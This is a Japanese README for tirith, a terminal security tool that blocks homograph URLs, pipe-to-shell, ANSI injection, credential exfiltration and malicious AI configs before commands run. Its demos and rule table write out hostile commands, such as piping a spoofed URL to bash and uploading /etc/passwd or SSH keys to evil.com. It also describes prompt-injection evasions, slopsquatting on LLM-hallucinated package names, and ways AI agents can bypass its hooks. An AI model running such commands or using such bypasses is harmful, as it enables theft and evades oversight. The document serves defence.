
tirith v0.4.2
開発者とAIエージェント向けのターミナルセキュリティ。ホモグラフURL、パイプ→シェル、ANSIインジェクション、難読化されたペイロード、データの外部流出、悪意あるAIスキル/設定を実行前にインターセプトします。
tirith
ブラウザならこれを検知できる。ターミナルではできない。
Website | Docs | SKILL.md | Changelog | Releases
独立したオープンソースプロジェクト。ホスティングは Vercel Open Source Program(Spring 2026 Cohort)の支援を受けています。
違いがわかりますか?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
あなたには見分けられない。あなたのターミナルにも見分けられない。`і` の文字はどちらもキリル文字(U+0456)であり、ラテン文字の `i` ではない。2番目のURLは攻撃者のサーバーに解決される。スクリプトはあなたが気づく前に実行される。
ブラウザは何年も前にこれを解決した。ターミナルは今なお、Unicode、ANSIエスケープ、不可視文字を疑いもなくレンダリングする。AIエージェントは、中身を検査することなくシェルコマンドを実行し、パッケージをインストールする。
**Tirithは門の前に立つ。** コマンド、貼り付けられたコンテンツ、スキャンされたファイルを傍受し、ホモグラフURL、難読化されたペイロード、認証情報の窃取、悪意のあるAIスキル/設定、そして署名済み脅威インテリジェンスデータベースからの既知の悪性パッケージ/ドメイン/IPを、それらが実行される前に検出する。```bash
brew install tirith
次に、シェルプロファイルで有効化します:```bash
zsh
eval "$(tirith init --shell zsh)"
bash
eval "$(tirith init --shell bash)"
fish
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` は現在のシェルを自動検出します(親プロセスを検査し、必要に応じて `$SHELL` にフォールバックします)。明示的な `--shell` フラグが必要なのは、検出を上書きしたい場合だけです。
対話型シェルへの対応は以上です。そのシェルが受け付けるコマンドは、フックが読み込まれ正常に動作している間にチェックされます。実際のブロック動作はシェルとモードによって異なります。インストール後およびアップグレード後に `tirith doctor` を実行し、フックを認可境界として扱う前に [シェルごとの強制](#enforcement-by-shell) をお読みください。クリーンなコマンドは何も表示せず、通常は高速パスを通ります。
[npm](#cross-platform)、[cargo](#cross-platform)、[mise](#cross-platform)、[apt/dnf](#linux-packages)、その[他](#install)からも利用できます。
---
## 動作を見る
**ホモグラフ攻撃、実行前にブロック:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
コマンドは決して実行されない。
クリーンなURLによるパイプ・トゥ・シェル、警告あり、ブロックなし:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
警告は stderr に出力されます。コマンドはそれでも実行されます。
**Base64 デコード・実行チェーン、ブロック済み:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
sudo/env ラッパーや PowerShell の -EncodedCommand を経由したデコードチェーンも捕捉します。
認証情報の持ち出し、ブロック済み:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
curl/wgetのアップロードフラグ、環境変数(`$AWS_SECRET_ACCESS_KEY`)、コマンド置換をすべてカバーします。
**スキャンで検出された悪意のあるスキルファイル:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
JS/Pythonファイルをスキャンして、難読化されたペイロード、動的コード実行、シークレットの外部送信パターンを検出します。
通常のコマンド、不可視:``` $ git status $ ls -la $ docker compose up -d
何もない。出力ゼロ。tirithが動いていることを忘れている。
---
## 検出できるもの
**35カテゴリにわたる244の検出ルール。**
| カテゴリ | 阻止するもの |
|----------|--------------|
| **ホモグラフ攻撃** | ホスト名内のキリル文字/ギリシャ文字の類似文字、punycodeドメイン、混在スクリプトのラベル、類似TLD、紛らわしいドメイン、テキストレベルの紛らわしい文字検出(数学用英数字、同一単語の混在スクリプト) |
| **ターミナルインジェクション** | ANSIエスケープシーケンス、双方向制御文字、ゼロ幅文字、Unicodeタグ、不可視の数学演算子、異体字セレクタ、ハングルフィラー |
| **ステガノグラフィー防御** | 不可視の空白エンコーディング(12種類のUnicode空白バリアント)、モンゴル語母音区切り文字、ハングルフィラー文字、数学用英数字置換、st3ggスタイルのテキストステガノグラフィーへの防御 |
| **パイプ・トゥ・シェル** | `curl \| bash`、`wget \| sh`、`httpie \| sh`、`xh \| sh`、`python <(curl ...)`、`eval $(wget ...)`、および多数のラッパー、デコード、間接パス |
| **Base64デコード・実行** | `base64 -d \| bash`、`python -c "exec(b64decode(...))"`、`powershell -EncodedCommand`、sudo/envラッパーを経由するデコードチェーン |
| **データ流出** | `curl -d @/etc/passwd`、`curl -T ~/.ssh/id_rsa`、`wget --post-file`、環境変数のアップロード(`$AWS_SECRET_ACCESS_KEY`)、コマンド置換による流出 |
| **コードファイルスキャン** | 難読化されたペイロード(`eval(atob(...))`)、動的コード実行(`exec(b64decode(...))`)、JS/Pythonファイル内の`fetch`/`requests.post`によるシークレット流出 |
| **認証情報検出** | AWSキー、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npmトークン、秘密鍵ブロック、およびエントロピーベースの汎用シークレット検出 |
| **侵害後行動** | プロセスメモリスキャレンジング(`/proc/*/mem`)、Dockerリモート権限昇格、認証情報ファイルの一掃、TeamPCPおよびUNC1069の侵害後ツール群に対して調整済み |
| **コマンド安全性** | ドットファイルの上書き、機密パスへのアーカイブ展開、クラウドメタデータエンドポイントへのアクセス、プライベートネットワークアクセス |
| **安全でないトランスポート** | シェルにパイプされる平文HTTP、`curl -k`、無効化されたTLS検証、宛先を隠す短縮URL |
| **環境** | プロキシハイジャック、機密環境変数のエクスポート、環境経由のコードインジェクション、インタプリタハイジャック、シェルインジェクション環境 |
| **設定ファイルセキュリティ** | 設定インジェクション、不審なインジケータ、設定内の非ASCII/不可視Unicode、MCPサーバーセキュリティ(安全でない/信頼できない/重複/過度に許容的) |
| **エコシステムの脅威** | Git cloneのタイポスクワット、信頼できないDockerレジストリ、pip/npmのURLインストール、web3 RPCエンドポイント、vet-not-configured |
| **インストールコマンドの安全性** | パイプされたダウンロードから追加されたAPTリポジトリ、`[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`(署名チェックの無効化)、生/短縮リモートマニフェストに対する`kubectl apply -f`、信頼できないリポジトリからのHelmチャート、信頼できないリモートソースからのTerraformモジュール、任意のURLからの`brew install`/`tap` |
| **パス分析** | 非ASCIIパス、パス内のホモグリフ、二重エンコーディング |
| **レンダリングコンテンツ** | 隠されたCSS/色コンテンツ、隠されたHTML属性、コメントコンテンツ分析(プロンプトインジェクションはHigh、破壊的コマンドはMedium) |
| **クローキング検出** | サーバーサイドクローキング(ボット対ブラウザ)、クリップボードの隠しコンテンツ、PDFの隠しテキスト |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`、Windows Defenderの除外設定(`Add-MpPreference -Exclusion*`)、インラインの`iex (iwr ...)`ダウンロード・実行 |
| **ターミナル出力防御** | OSC 52クリップボード書き込み、偽プロンプト、OSC 8ハイパーリンクとタイトル/画面クリア操作、コマンドまたはMCPツール出力内のプロンプトインジェクション(生および難読化解除の両方でスキャンされるため、不可視文字、紛らわしい文字、スペース挿入、リートスピーク、短いbase64/hexによる回避も検出される)、および出力データ流出(ビーコンURLまたは「シークレットを読んで送信する」指示) |
| **運用コンテキスト** | ラベル付き本番クラウド/k8sコンテキストおよびSSHホストに対する破壊的コマンド、一致する保存済みプランなしのTerraform / Pulumi / OpenTofu `apply`、危険なsudo昇格、特権付き`docker run` |
| **ワークステーションと永続化** | 緩い権限の認証情報ファイルと平文トークン(`~/.ssh`、`~/.aws`、`.npmrc`)、永続化の足がかり(シェルrc、`authorized_keys`、crontab、LaunchAgents、git `core.hooksPath`)、PATHハイジャックの順序、実行ファイルの来歴、危険なエイリアス、機密環境変数のライフサイクル |
| **影響範囲と相関** | リポジトリを脱出する削除、大量削除、危険なソースからダウンロードされたファイルの実行、シークレット書き込み後のネットワークアクセスや削除後の`git push --force`などのセッションチェーン |
| **信頼、アテステーション、来歴** | 署名済みコマンドカードの不一致、カナリアハニートークンの接触、ペースト元ホストの不一致、呼び出し元オリジン(エージェント)ポリシーの拒否、MCPロックファイルのドリフト、既知の安全なスナップショットに対するAI設定のドリフト |
| **Web3コマンドガード** | Cast / Forge / Hardhat / Solana / Anchorコマンドからのオンチェーン書き込み(同じコマンドが宣言された安全制御も無効にする場合はHigh)、コマンドライン上の生の秘密鍵、キーペア、またはニーモニック素材、およびオペレータの`web3_guard`ポリシーが信頼しないRPCエンドポイントまたは署名者。文法とポリシーのみ:チェーン状態は読まず、トランザクションはシミュレートせず、アドレスのスコアリングも行わない |
| **ウォレット流出** | レビュー済みウォレット、キーストア、ブラウザウォレット、Solanaキーペア素材が証明されたリモートシンクへ流れること。アーカイブ、base64、hex、圧縮、暗号化のステージングホップ、および`xargs` / `find -exec`オペランド昇格を含む。ソースのみの読み取りは意図的に検出対象としない |
| **CIアーティファクトポイズニング** | ビルドアーティファクトをアップロードするフォーク到達可能なワークフローが、トリガーとなった実行にバインドされた特権`workflow_run`ワークフローによって消費され、それが実行、ソース化、PATH変更、公開、またはデプロイする |
---
## tirithが防御しないもの
Tirithはコマンド、ペーストされたテキスト、およびファイルの**構造**を実行前に分析する。これは実行前のゲートであり、ランタイム防御ではなく、以下をカバーしない:
- **一般的なランタイムサンドボックス化:** 通常のシェルフックと`tirith check`は警告またはブロックするが、起動後にコマンドを隔離するものではない。明示的な`capsule run --preset untrusted-project`と強制`pkg install`パスは、サポートされているx86_64 Linuxホスト上でのみフェイルクローズドな封じ込めを提供する。
- **実行後のネットワーク監視:** 起動後にプロセスがネットワーク上で何をするかは対象外。
- **一般的なマルウェア/ペイロード検出:** tirithはアンチウイルスではなく、ペイロードをデトネートしない。構造を分析し、署名済み脅威データベースからの正確なインジケータとアーティファクト/ファイルハッシュにマッチできるが、未知のペイロードがマッチの不在によって良性であると証明されるわけではない。(`tirith run`はダウンロードされたスクリプトの構造をチェックするが、それでも動的マルウェア分析ではない。)
- **特権root/admin攻撃者:** すでにrootまたはadminである者はtirithを簡単にバイパスできる。これは騙された入力に対する防御であり、すでにマシンを掌握している攻撃者に対するものではない。
- **アンチデバッグ/アンチタンパリング:** tirithはリバースエンジニアリングに抵抗せず、ローカル攻撃者から自身のバイナリを保護しない。
- **オンチェーン分析:** Web3ガードはコマンド文法を読む。チェーン状態を読まず、トランザクションをシミュレートせず、ENSを解決せず、アドレスをスコアリングせず、コントラクトを監査せず、メンプールを監視しない。
- **npmアーティファクトファイアウォール:** tirithはnpmコマンド文法とレジストリIDの事実を解析し、プロジェクト自身のnpmに署名と来歴の状態を問い合わせることができる。npmがインストールするtarballのバイトをダウンロード、展開、隔離、またはバインドすることはない。封じ込められたハッシュ固定のアーティファクトファイアウォールはPython専用である。
- **ブラウザフォレンジックまたは監視:** `tirith browser audit`は、拡張機能ソースツリーの明示的な、ワンショット、読み取り専用の整合性監査である。Cookie、履歴、保存されたパスワード、ストレージ、ウォレットデータベース、または`Local State`を決して読まず、何も削除または隔離せず、デーモンも持たない。
- **再現可能なビルド:** `attest`レシートは、ある時点で2つのツリーが何を含んでいたかを記録する。Tirithはビルドを実行せず、出力がソースから来たとは言えない。デプロイレシートはポイントインタイムの測定であり、継続的な監視ではない。
完全な脅威モデルと明示的な非目標については[docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md)を、tirithが検出、決定、強制、封じ込め、および証明するものの能力ごとの台帳については[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md)を参照。
---
## 既知の制限
- **シェルフックの脆弱性:** 保護はシェルフックがインストールされアクティブであり続けることに依存する。フックはシェル、シェルバージョン、プロンプトフレームワーク、履歴ツールをまたいで壊れたり、サイレントに劣化したりする可能性がある。`tirith doctor`を実行してライブ状態を確認し、警告のみの劣化に注意する。
- **満杯または読み取り専用の一時ストレージ:** zshとfishはTirithを呼び出す前にスクラッチファイルを通じて入力をキャプチャし、そのファイルが作成できない場合はフェイルクローズドする。したがって、満杯/読み取り専用の`TMPDIR`はすべてのコマンドを拒否する可能性があり、バイナリに到達しないため`TIRITH=0`でも回復できない。[トラブルシューティング](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md)の回復手順に従うこと。
- **プラットフォーム限定の機能:** デーモンモード、`tirith run`、および`tirith fetch`はUnixサーフェスである。`tirith run --no-exec`はそこでは検査ワークフローのままであるが、ライブのリモートスクリプト実行はLinux専用であり、他のすべてのホストではダウンロード前に拒否する。`tirith setup`はクロスプラットフォームであるが、各ホスト統合には独自のプラットフォーム契約がある(例えばClineにはPOSIXとWindowsのラッパーがあり、OpenHandsのブロッキングフックはUnix専用である)。
- **パッケージ名抽出の範囲:** 言語エコシステム(pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle)をカバーし、ディストロのパッケージマネージャ(`apt`、`dnf`、`yum`、`pacman`)はカバーしない。
- **AIエージェントの注意点:** シェルフックの傍受は、フックされた対話型シェルを経由するコマンドのみをガードする。非対話型シェルを生成する、`exec`を直接呼び出す、またはフックがロードされずに実行するエージェントは、そのレイヤーではカバーされない。MCP登録は、呼び出しがゲートウェイを経由してルーティングされない限り協調的である。サポートされているpre-toolフックはホストコマンドを自動的に保留できるが、それはそのホストがそれをロードして尊重した場合のみである。いくつかのホストはフックプロセスがエラーになるとフェイルオープンする。設定ファイルの存在だけでなく、有効なホストを検証すること。
- **ホストフックの障害動作:** Grok Build、Cline、およびOpenHandsは、フックプロセスがクラッシュまたはタイムアウトした場合にツールを許可する。Tirithのアダプタはデフォルトで自身のエラー時に拒否するが、戻らなかったプロセスをホストに尊重させることはできない。固定されたインタプリタが移動した場合はセットアップを再実行し、アップグレードのたびに実際のホストをテストすること。
- **Prime Agent IPythonはソースレベルの抽出:** ガードはシェルエスケープ/マジックと一般的な`os`、`subprocess`、および`pty.spawn`形式をカバーするが、Pythonランタイムサンドボックスではない。以前のセルで定義されたラッパー、`getattr`/`__import__`などのリフレクション、またはプロセスを生成するサードパーティパッケージは、ソースレキサーが証明できるものを脱出する可能性がある。
- **カスタムDLPとマシン出力:** 広範な`dlp_custom_patterns`は現在、再帰的にリダクトされたJSON/MCPプロジェクション内のプロトコル所有の文字列値を書き換える可能性があり、生成された識別子やレシートメタデータを含む。署名済みまたはマシン安定の出力を消費する際は、構造値をマッチしうるパターンを避けること。これはリリース前にフィールド対応のリダクションが必要である。
- **無人インストール承認:** `tirith install --yes`は、パッケージマネージャタスクゲートの無人`require_approval`チャネルとして受け入れられる。これは明示的なオペレータフラグであり、人間のTTY確認の証明ではない。無人実行が不可能でなければならない場合は、ブロッキングタスクポリシーを使用すること。
- **インタプリタ型MCPバインディング:** 正確なインタプリタ型サーバーバインディングは、真の依存関係クロージャを発見する代わりに固定された上限の下でリポジトリツリーをハッシュするため、大きなツリー、シンボリックリンク、または特殊ファイルは起動を拒否する可能性がある。スポーン前に再検証するが、封印されたレビュー済み記述子からインタプリタ入力を実行しない。同一ユーザーによる同時変更はverify-to-loadのギャップとして残る。
- **タスクゲートのカバレッジ:** タスク効果推論はWeb3シェル文法のみをモデル化し、それ以外は何もモデル化しないため、ほぼすべての通常のSHELLコマンドはINCOMPLETEと報告される。`task_gate.mode: enforce`と`action_incomplete_analysis: block`は、シェルエンベロープを送信する5つの境界でそれらを拒否し、常に完全と評価される4つのパッケージおよび設定書き込み境界では何も変更しない。`warn`がデフォルトである。代替の`effects_denied_for_untrusted_sources`は、それらの境界でソースが信頼済みとして扱われることが決してないため、自分で入力したコマンドを含め、すべての所有境界ですべての呼び出しで指定された効果を拒否する。
- **封じ込めはx86_64 Linux:** `tirith capsule run --preset untrusted-project`と強制`tirith pkg install`は、使用可能なLandlock ABIを備えたx86_64 Linuxでのみ強制可能である。他のすべてのホストは、何かがコピーまたはスポーンされる前に拒否し、劣化したフォールバックはない。ドメイン許可リストはどのバックエンドでも提供されていない。
- **ネストされたシェル流出ギャップ:** シンクがその外側にあるネストされたシェル本体内部の機密読み取り、例えば`bash -c "cat <wallet>" | curl -d @- <url>`は現在相関されない。完全に`-c`本体の内側または完全に外側にある同じチェーンは検出される。
- **実行証拠のグレード:** Linux起動は、停止した`exec`遷移、永続状態更新、承認された再開、およびターミナルランチャープルーフがすべて完了した後にのみ確認される。ゲートウェイ呼び出しは、正確に相関された結果によってのみ確認される。タイムアウトまたはキャンセルされたシェル観測と転送されたゲートウェイ呼び出しは、保守的な未解決証拠のままであり、確認された実行にはならない。厳格なシェルレシートは対話型bash、zsh、およびfishで利用可能であり、PowerShellはプリフライトのみのままである。ネイティブLinuxランチャーの動作はLinux CIまたはネイティブLinuxホストで検証する必要があり、ポータブルなソース/ユニットカバレッジもmacOSビルドも代用できない。
- **Web3カバレッジギャップ:** `forge create`はまだエンジンサーフェスでモデル化されていない。いくつかの宣言された`web3_guard`フィールドは解析されるが強制されない。そしてスキーマ2のコマンドカードWeb3バインディングにはまだCLIオーサリングまたはライブエンジン消費パスがない。これらはサイレントな承認ではなく、既知のギャップとして扱うこと。
---
## 脅威インテリジェンス
Tirithはパッケージ、ホスト名、およびIPレピュテーション用の署名済みローカル脅威データベースを同梱している。シェルフックまたは`tirith check`がパッケージインストールまたは不審なインフラ参照を見ると、静的ヒューリスティックのみに依存する代わりに、コマンド実行前に入力をデータベースと照合する。
**署名済みDB**(CIによってビルドされ、ダウンロード時とロード時に検証):
- [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages)および[Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)からの既知の悪意あるパッケージ
- [Feodo Tracker](https://feodotracker.abuse.ch/)(abuse.ch)からの悪意あるIPインフラ
- [ecosyste.ms](https://ecosyste.ms/)からの確認済みタイポスクワットと人気パッケージのベースライン
- ランタイムアドバイザリ相関用の[CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)カタログ
ThreatDB v2は正確なアーティファクトSHA-256値、インストール済みファイルハッシュ、悪意あるURL、キャンペーン所属、および行動タグを追加する。署名済みインデックス、アップデータ、コンパイラ、およびローダーは段階的移行中にv1とv2をサポートし、シーケンスロールバックを拒否し、トランザクション的に公開し、更新が不完全または無効な場合は署名済みのlast-known-goodデータベースを保持する。DigitalSideソースは実装されているが、その鮮度と運用契約が承認されるまで意図的に非アクティブである。
**オプションの補足フィード**(ユーザーローカルオーバーレイ):
- abuse.ch認証キー経由の[URLhaus](https://urlhaus.abuse.ch/)と[ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/)(Cisco Talos)と[Phishing Army](https://phishing.army/)ブロックリスト
- [Tor Project](https://www.torproject.org/)からのTor出口ノードリスト
**`tirith check`およびデーモンモード中のオプションのライブエンリッチメント:**
- [OSV.dev](https://osv.dev/)アドバイザリ検索(Google OSS)
- [deps.dev](https://deps.dev/)パッケージヘルスシグナル(Google OSS)と[ecosyste.ms](https://ecosyste.ms/)メンテナデータ
- 独自のAPIキーによる[Google Safe Browsing](https://safebrowsing.google.com/) URLレピュテーション```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
デフォルトでは、シェルフックと tirith check は24時間ごとに軽量なバックグラウンド更新チェックをトリガーします。デーモンモードでは、同じエンリッチメントパスをバックグラウンドでウォームな状態に保ちます。
threat-db explain はドメイン、パッケージ名(name、ecosystem:name、または name@version)、あるいはIPv4アドレスを受け付けます。バイナリはエントリごとの履歴を保持しないため、threat-db diff はスナップショット間のカテゴリおよびソースごとの件数差分を報告し、変更された正確なエントリは報告しません。すべての threat-db コマンドは --format json を受け付けます。threatdb はエイリアスです。
パッケージリスクスコアリング
tirith package risk <ecosystem> <name> は、tirith score がURLをスコアリングするのと同じ方法で、パッケージのサプライチェーン/メンテナーリスクをスコアリングします。つまり、決定的で完全に説明可能な、名前付き要素の合計であり、モデルも学習済み重みも使用しません。tirith package explain <ecosystem> <name> は要素ごとの導出を追加します。どちらも --format json を受け付けます。```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**デフォルトでオフライン。** フラグを指定しない場合、すべてのシグナルはローカルで処理され、ネットワーク呼び出しは発生しません:(1) **名前 対 人気パッケージ**: 既知の人気パッケージ、未知のパッケージ、または人気名への1編集のニアミス(典型的なタイポスクワット/スロップスクワットの形状)で、ローカルの脅威データベースの `popular` セットから判定されます。(2) **既知の悪意あるタイポスクワット**: 脅威DBの `typosquat` インデックスにおける完全一致。(3) **インストール / ライフサイクルスクリプト** および (4) **バンドルされたバイナリブロブ** は、パッケージの内容がローカルで利用可能な場合(`node_modules` / `site-packages` 配下、または `--path` 経由)にのみ検出されます。tirith はパッケージを**決してダウンロードしません**。
**`--online` はレジストリの来歴を追加します。** パッケージのレジストリ(npm、PyPI、または crates.io)に問い合わせ、*同じ* ファクターサムモデルでさらに6つのファクターを評価します:パッケージ/バージョンの経過期間、オーナーのいない確立されたパッケージ、異常なバージョンスパイク、極端に少ないダウンロード数、ソースリポジトリの欠如、および yanked/非推奨ステータス。`package risk` 自体がネットワークに到達する唯一の経路であり、`tirith check` とデーモンモードには別のポリシー制御されたランタイムエンリッチメント経路があります。`--offline` / `TIRITH_OFFLINE` は、これに関係なくこのスコアラーを強制的にオフラインにします。失敗した場合は、正直な `api signals: unavailable` とともにオフラインスコアにフォールバックし、レスポンスは TTL 付きでキャッシュされるため、繰り返しの実行がレジストリに負荷をかけることはありません。
スコアは参考情報であり独立しています:`package risk` は検出ルールではなく、判定、終了コード、監査ログのいずれも変更しません。
### エコシステムスキャンと依存関係リスク
`tirith ecosystem scan [path]` は、`package risk` のディレクトリレベルのコンパニオンです。プロジェクトを走査し、理解できるすべての依存関係マニフェストを検出します:npm(`package.json`、`package-lock.json`)、Python(`requirements*.txt`、`pyproject.toml`)、Rust(`Cargo.toml`)、Go(`go.mod`)、Ruby(`Gemfile`)。そして、**宣言されたすべての依存関係**を、同じ決定論的な `package_risk` ファクターエンジンでスコアリングします。```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
slopsquat検出を組み込みます。 Slopsquattingとは、LLMが依存関係として幻覚を起こしやすい、もっともらしいが偽の名前を登録することです。ecosystem scanは、3つすべてが当てはまる場合にのみフラグを立てます。その名前が既知の実在名でも人気名でもないこと、AIの幻覚のような形をしていること(python- / node-のような言語プレフィックスと説明的なトークンの組み合わせ、helper / utils / clientのような汎用的な埋め草の積み重ね、または異常に長い名前)、そして実際の人気名の近くに位置すること(1編集のニアミス、または人気名を単語として埋め込んでいる)です。3つすべてを要求することで誤検知を低く抑えます。人気名のアンカーを持たない正直なdata-utilsは発火しません。
デフォルトでオフライン、オプトインの--online。 名前とタイポスクワットのシグナルはローカルの脅威データベースから取得されます。--onlineはレジストリの来歴を追加し、package risk --onlineとまったく同じようにゲートされ、デグレードされます。このフラグはecosystem scanを制御し、tirith checkの独立したランタイムエンリッチメントポリシーを変更しません。検出結果はtirithの通常のVerdict / Findingモデルを通じて流れます。説明可能(tirith explain --rule threat_suspicious_package)、監査ログに記録され、ポリシーの許可リストを尊重します(許可リストに載ったパッケージは、ベア名またはecosystem:nameで抑制されます)。終了コードはtirith scanと一致します。ブロッキング検出で1、勧告で2、クリーンなら0です。
これは、既知の悪意あるパッケージ、確認されたタイポスクワット、slopsquatされたパッケージ名、悪意あるダウンロードインフラ、およびライブのOSV / CISA KEV勧告データを持つパッケージの検出に役立ちます。
Pythonアーティファクトの検査とインストールの強制
パッケージ名のリスクは一つの層にすぎません。Tirithは、すでに手元にある正確なPythonバイト列を検査でき、サポートされているホストでは、ハッシュでピン留めされたインストールプランを強制できます。```bash
Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl tirith package inspect --artifact-set ./downloaded-wheels tirith package inspect --installed ./.venv
Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv tirith pkg approve pip requests==2.31.0 --target .tirith-pkg tirith pkg install pip requests==2.31.0 --target .tirith-pkg tirith pkg verify-env --target .tirith-pkg requests
検査は、wheel の構造と同一性、RECORD の完全性とファイル所有権、Python 起動フック、ネイティブ ELF/Mach-O/PE 拡張、実行エッジ、およびディストリビューション間のローダー/ペイロード分割を対象とする。`pkg graph`、`pkg diff`、`pkg attest`、`pkg receipt` は、対応する来歴とレシートの証拠を公開する。
強制パスは **x86_64 Linux 上の pip のみ** をサポートし、文書化されたネイティブ権限、新たに専用のターゲットディレクトリ、および登録済みの完全静的ネイティブ `uv` を必要とする。サポートされていないすべてのプラットフォームは pip が起動する前にフェイルクローズし、通常のインストールにフォールバックすることは決してない。npm と Cargo は非強制の証拠サーフェスのままである。[0.4.0 リリースノート](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) と [コマンドリファレンス](https://github.com/sheeki03/tirith/blob/main/docs/commands.md) を参照。
**tirith が対象として作られた攻撃ファミリー**(例示であり、現在のコードで捕捉済みという主張ではない):
| インシデント | 年 | 攻撃の形 |
|---|---|---|
| [Shai-Hulud npm ワーム](https://socket.dev/blog/shai-hulud-worm) | 2025 | 自己増殖するパッケージマルウェア。180 以上のパッケージから GitHub トークンと AWS キーを窃取し、発見内容を公開 `Shai-Hulud` リポジトリに公開 |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 年から継続中 | 攻撃者が LLM のハルシネーションによるパッケージ名を npm / PyPI / crates.io に登録。[USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) は、ハルシネーションによる名前の 58% が実行間で繰り返されることを発見 |
| Team PCP / UNC1069 ツール群 | 継続中 | 侵害後の資格情報スイープ、`/proc/*/mem` のスクレイピング、Docker 権限昇格 |
| [colors.js / faker.js サボタージュ](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | 広く使われているパッケージの作者による自己サボタージュ |
| [event-stream 侵害](https://github.com/dominictarr/event-stream/issues/116) | 2018 | 攻撃者への所有権移転。ペイロードは Bitcoin ウォレットを標的とした |
パッケージ名の抽出は現在、言語エコシステム(pip、npm/yarn/pnpm/bun、cargo、gem、go、composer、dotnet、mvn/gradle)を対象としており、ディストリビューションレベルのパッケージマネージャー(`apt` / `dnf` / `yum` / `pacman`)は対象外である。そのため、Linux ディストリビューションの tarball 経由で侵入した xz-utils は、主要なインシデントであるにもかかわらずこの表には含まれていない。
---
## AI エージェントセキュリティ
Tirith は AI コーディングエージェントの周囲に、いくつかの独立した保護層を追加する。設定スキャン、協調的 MCP ツール、MCP ゲートウェイ、インタラクティブシェルフック、およびホストが文書化されたブロッキング契約を公開している場合のホストネイティブのプリツールフックである。カバレッジは、ホストが実際にどの層をロードするかに依存する。
### シェルフック、パッシブコマンド傍受
AI エージェントがフックされたインタラクティブシェル(Claude Code、Codex、Cursor など)を通じて実行する場合、tirith のシェルフックはシェルがそれを受け入れる前にそのインタラクティブコマンドを検査する。これは非インタラクティブシェル、直接の `exec`、またはフックを一度もロードしないエージェントプロセスをカバーしない:
- **危険なコマンドをブロック**: ホモグラフ URL、pipe-to-shell、安全でないダウンロード
- **悪意のあるペーストをブロック**: ANSI インジェクション、bidi 攻撃、ペーストされたコンテンツ内の隠された複数行
- **エージェント非依存のインタラクティブゲート**: そのエージェントが実際に保護されたインタラクティブシェルを使用する場合、エージェント固有の統合は不要
- **エージェントの変更ゼロ**: コマンドがブロックされるまで、エージェントは tirith の存在を知らない
ワンコマンド設定には `tirith setup <tool>` を使用する([AI エージェント統合](#ai-agent-integrations) を参照)。
### MCP サーバー(クロスプラットフォームツール 6 個、Unix では 7 個)
`tirith mcp-server` を実行するか、`tirith setup <tool> --with-mcp` を使用して tirith を MCP サーバーとして登録する。AI エージェントは行動を起こす前にこれらのツールを呼び出せる:
| ツール | 機能 |
|------|-------------|
| `tirith_check_command` | pipe-to-shell、ホモグラフ URL、環境変数インジェクションについてシェルコマンドを分析 |
| `tirith_check_url` | ホモグラフ攻撃、punycode トリック、短縮 URL、生 IP について URL をスコアリング |
| `tirith_check_paste` | ANSI エスケープ、bidi 制御文字、ゼロ幅文字についてペーストされたコンテンツを検査 |
| `tirith_scan_file` | 隠されたコンテンツ、不可視 Unicode、設定ポイズニングについてファイルをスキャン |
| `tirith_scan_directory` | AI 設定ファイルを優先した再帰スキャン |
| `tirith_verify_mcp_config` | 安全でないサーバー、引数内のシェルインジェクション、ワイルドカードツールについて MCP 設定を検証 |
| `tirith_fetch_cloaking` | サーバーサイドクローキング(ボットとブラウザで異なるコンテンツ)を検出 |
